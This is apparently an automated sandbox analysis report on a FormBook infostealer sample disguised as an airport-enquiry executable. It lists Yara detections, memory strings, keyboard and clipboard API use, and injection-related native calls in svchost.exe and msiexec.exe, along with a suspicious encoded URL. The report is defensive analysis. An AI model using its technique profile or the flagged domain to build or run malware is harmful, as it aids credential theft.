Source: explorer.exe, 00000002.00000000.1694928784.000000000C557000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4140282960.000000000C557000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 00000002.00000002.4140282960.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1694928784.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4133281259.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 00000002.00000002.4133281259.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe
Source: explorer.exe, 00000002.00000002.4144395601.000000001130F000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.4132018408.00000000059EF000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.theselflovesite.com/pt46/?ara=RFlzK8LCC7FuO7cJ0ecz1aHzXPpVQPZoCqNi80z/o3n5SIq8wUQ5l6Qg5p

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CF425A OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00CF425A

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CF4458 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00CF4458

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

0_2_00CF425A

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CE0219 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_00CE0219

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00D0CDAC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_00D0CDAC

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.2670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1732540303.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1732135367.0000000002671000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1732565448.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4131140832.0000000004D60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1688631201.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4130578535.0000000003100000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4131191580.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.svchost.exe.2670000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 1.2.svchost.exe.2670000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.svchost.exe.2670000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.1732540303.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.1732540303.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.1732540303.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.4143107748.000000000E6AA000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_772cc62d Author: unknown
Source: 00000001.00000002.1732135367.0000000002671000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.1732135367.0000000002671000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.1732135367.0000000002671000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.1732565448.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.1732565448.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.1732565448.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.4131140832.0000000004D60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.4131140832.0000000004D60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.4131140832.0000000004D60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.1688631201.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000000.00000002.1688631201.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.1688631201.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.4130578535.0000000003100000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.4130578535.0000000003100000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.4130578535.0000000003100000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.4131191580.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.4131191580.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.4131191580.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: Process Memory Space: New Al Maktoum International Airport Enquiry Ref #2401249.exe PID: 7428, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: svchost.exe PID: 7456, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: msiexec.exe PID: 7504, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00C83B4C
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe, 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_221534b7-f
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe, 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_f32cfdd0-5
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_bbc5067e-4
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_fb4fb756-1

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: New Al Maktoum International Airport Enquiry Ref #2401249.exe

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072B60 NtClose,LdrInitializeThunk,	1_2_03072B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	1_2_03072BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072AD0 NtReadFile,LdrInitializeThunk,	1_2_03072AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072F30 NtCreateSection,LdrInitializeThunk,	1_2_03072F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072F90 NtProtectVirtualMemory,LdrInitializeThunk,	1_2_03072F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072FB0 NtResumeThread,LdrInitializeThunk,	1_2_03072FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072FE0 NtCreateFile,LdrInitializeThunk,	1_2_03072FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072E80 NtReadVirtualMemory,LdrInitializeThunk,	1_2_03072E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,	1_2_03072EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072D10 NtMapViewOfSection,LdrInitializeThunk,	1_2_03072D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072D30 NtUnmapViewOfSection,LdrInitializeThunk,	1_2_03072D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072DD0 NtDelayExecution,LdrInitializeThunk,	1_2_03072DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072DF0 NtQuerySystemInformation,LdrInitializeThunk,	1_2_03072DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072CA0 NtQueryInformationToken,LdrInitializeThunk,	1_2_03072CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03074340 NtSetContextThread,	1_2_03074340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03074650 NtSuspendThread,	1_2_03074650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072B80 NtQueryInformationFile,	1_2_03072B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072BA0 NtEnumerateValueKey,	1_2_03072BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072BE0 NtQueryValueKey,	1_2_03072BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072AB0 NtWaitForSingleObject,	1_2_03072AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072AF0 NtWriteFile,	1_2_03072AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072F60 NtCreateProcessEx,	1_2_03072F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072FA0 NtQuerySection,	1_2_03072FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072E30 NtWriteVirtualMemory,	1_2_03072E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072EE0 NtQueueApcThread,	1_2_03072EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072D00 NtSetInformationFile,	1_2_03072D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072DB0 NtEnumerateKey,	1_2_03072DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072C00 NtQueryInformationProcess,	1_2_03072C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072C60 NtCreateKey,	1_2_03072C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072C70 NtFreeVirtualMemory,	1_2_03072C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072CC0 NtQueryVirtualMemory,	1_2_03072CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072CF0 NtOpenProcess,	1_2_03072CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03073010 NtOpenDirectoryObject,	1_2_03073010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03073090 NtSetValueKey,	1_2_03073090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030735C0 NtCreateMutant,	1_2_030735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030739B0 NtGetContextThread,	1_2_030739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03073D10 NtOpenProcessToken,	1_2_03073D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03073D70 NtOpenThread,	1_2_03073D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0268A360 NtCreateFile,	1_2_0268A360
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0268A410 NtReadFile,	1_2_0268A410
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0268A490 NtClose,	1_2_0268A490
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0268A540 NtAllocateVirtualMemory,	1_2_0268A540
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0268A35A NtCreateFile,	1_2_0268A35A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0268A45A NtClose,	1_2_0268A45A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0268A40D NtReadFile,	1_2_0268A40D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0268A48A NtClose,	1_2_0268A48A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0268A53C NtAllocateVirtualMemory,	1_2_0268A53C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035EA036 NtQueryInformationProcess,NtSuspendThread,NtSetContextThread,RtlQueueApcWow64Thread,NtResumeThread,NtClose,	1_2_035EA036
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035EA042 NtQueryInformationProcess,	1_2_035EA042
Source: C:\Windows\explorer.exe	Code function: 2_2_0E692232 NtCreateFile,	2_2_0E692232
Source: C:\Windows\explorer.exe	Code function: 2_2_0E693E12 NtProtectVirtualMemory,	2_2_0E693E12
Source: C:\Windows\explorer.exe	Code function: 2_2_0E693E0A NtProtectVirtualMemory,	2_2_0E693E0A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_009763E3 GetVersionExW,GetCurrentProcess,NtQueryInformationProcess,GetCommandLineW,GetStdHandle,GetFileType,memset,memset,RegQueryValueExW,RegCloseKey,RegQueryValueExW,RegCloseKey,CompareStringW,CompareStringW,CompareStringW,memset,GlobalFree,lstrlenW,GlobalFree,CoInitialize,CoRegisterClassObject,GetCurrentThread,OpenThreadToken,GetLastError,OpenEventW,WaitForSingleObject,CloseHandle,RevertToSelf,RegCloseKey,RegEnumKeyW,RevertToSelf,GetCurrentProcess,OpenProcessToken,GetTokenInformation,EqualSid,CloseHandle,GetLastError,memset,CloseHandle,MakeAbsoluteSD,GetLastError,CloseHandle,CloseHandle,CreateEventW,CloseHandle,CreateEventW,CloseHandle,GetLastError,CloseHandle,CloseHandle,CloseHandle,OpenProcess,CloseHandle,GetLastError,CloseHandle,CloseHandle,CloseHandle,OpenProcess,TranslateMessage,DispatchMessageW,PeekMessageW,MsgWaitForMultipleObjects,CloseHandle,GetLastError,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,CloseHandle,CloseHandle,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,CoRevokeClassObject,CoUninitialize,GetLastError,GetMessageW,TranslateMessage,DispatchMessageW,	3_2_009763E3
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022D10 NtMapViewOfSection,LdrInitializeThunk,	3_2_05022D10
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022DD0 NtDelayExecution,LdrInitializeThunk,	3_2_05022DD0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022DF0 NtQuerySystemInformation,LdrInitializeThunk,	3_2_05022DF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022C60 NtCreateKey,LdrInitializeThunk,	3_2_05022C60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022C70 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_05022C70
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022CA0 NtQueryInformationToken,LdrInitializeThunk,	3_2_05022CA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022F30 NtCreateSection,LdrInitializeThunk,	3_2_05022F30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022FE0 NtCreateFile,LdrInitializeThunk,	3_2_05022FE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,	3_2_05022EA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022B60 NtClose,LdrInitializeThunk,	3_2_05022B60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022AD0 NtReadFile,LdrInitializeThunk,	3_2_05022AD0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_050235C0 NtCreateMutant,LdrInitializeThunk,	3_2_050235C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05024650 NtSuspendThread,	3_2_05024650
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05024340 NtSetContextThread,	3_2_05024340
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022D00 NtSetInformationFile,	3_2_05022D00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022D30 NtUnmapViewOfSection,	3_2_05022D30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022DB0 NtEnumerateKey,	3_2_05022DB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022C00 NtQueryInformationProcess,	3_2_05022C00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022CC0 NtQueryVirtualMemory,	3_2_05022CC0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022CF0 NtOpenProcess,	3_2_05022CF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022F60 NtCreateProcessEx,	3_2_05022F60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022F90 NtProtectVirtualMemory,	3_2_05022F90
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022FA0 NtQuerySection,	3_2_05022FA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022FB0 NtResumeThread,	3_2_05022FB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022E30 NtWriteVirtualMemory,	3_2_05022E30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022E80 NtReadVirtualMemory,	3_2_05022E80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022EE0 NtQueueApcThread,	3_2_05022EE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022B80 NtQueryInformationFile,	3_2_05022B80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022BA0 NtEnumerateValueKey,	3_2_05022BA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022BE0 NtQueryValueKey,	3_2_05022BE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022BF0 NtAllocateVirtualMemory,	3_2_05022BF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022AB0 NtWaitForSingleObject,	3_2_05022AB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05022AF0 NtWriteFile,	3_2_05022AF0
